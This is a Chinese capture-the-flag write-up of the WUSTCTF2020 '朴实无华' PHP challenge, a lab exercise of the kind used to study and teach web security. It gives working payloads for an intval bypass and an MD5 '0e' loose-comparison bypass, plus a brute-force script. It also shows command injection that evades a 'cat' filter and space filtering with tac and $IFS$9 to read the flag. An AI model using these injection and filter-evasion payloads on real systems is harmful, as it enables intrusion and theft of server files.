WUSTCTF2020-朴实无华

5 篇文章 0 订阅

打开靶机,朴实无华

找线索

左找找右找找,发现robots.txt里有东西

进入/fAke_f1agggg.php是假的(早就预料到了)

在当前页面继续找线索,我都扫了啥都没发现,但更细致点就会发现,网络里的响应头里有个

有一说一,这个线索藏得够深,有二说二,chrome的控制台里网络区太烂了,一层一层的

进入/fl4g.php

我已经开始笑了

代码审计

就一点点读呗,不会的函数百度

绕过分为三个部分并且都是GET传值

intval函数绕过

要变量整数值小于2020,又要变量加1大于2021,一看就知道不是正常数。百度intval函数,在菜鸟教程中有下面的示例:

其中有用信息是

echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1

这里看出,当科学计数法作为数时输出正常的,作为字符串时输出e前面的数。那这里就可以利用科学计数法绕过。

我们就拿2e4用吧,传入'2e4'它会被当2比较,+1后会被PHP强制转换再比较,会比2021大。这样就可以绕过了。

payload:

?num='2e4'

失败的原因可能是,后台已经把num当字符串处理了,那我们把单引号去掉再传入

payload:

?num=2e4

第一层绕过成功

MD5绕过

一个字符串MD5加密后,前后一样,php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。转换的规则为,若该字符串以合法的数值开始,则使用该数值,否则其值为0。因此,根据这一点,可以遍历出一个字符串,使得进行MD5加密前是0e开头的,MD5加密后也是0e开头的,这样子,就能保证加密前后的值是相等==的了

偷的脚本

#!python2
import hashlib
import re


def MD5(data):
    return hashlib.md5(data.encode('utf-8')).hexdigest()


def main():
    a = 100000000
    while True:
        data = '0e' + str(a)
        data_md5 = MD5(data)
        a = a + 1
        if re.match('^0e[0-9]{30}', data_md5):
            print(data)
            print(data_md5)
            break
        if a % 1000000 == 0:
            print(a)


if __name__ == '__main__':
    main()

跑了一会,出了俩可以用的字符串,当然用短的

payload:

?num=2e4&md5=0e215962017

这就是有钱人的生活吗?

替换绕过

观察代码可知,不能有空格,有cat会被替换,而且这个变量可以被当作命令执行

于是我直接试了一下get_flag=Cat(/flag),果然失败,那我们先看一下目录吧

payload:

?num=2e4&md5=0e215962017&get_flag=ls

看来要读取那个很长的ffffflllllllaaaaaag

这里注意这个替换函数str_ireplace,它不区分大小写替换,所以这里不能大小写绕过,下面的图罗列了代替cat的关键词:

经过测试发现more、head、tac、tail、nl、od、sort、uniq、file -f在我win10环境下都可以出flag,但是od二进制比较麻烦,file -f由于空格过滤还要绕过,所以不建议使用

这里我们使用tac,而且这里需要使用$IFS$9代替空格详情戳这里

payload:

?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

出flag

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tajang

感谢投喂

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值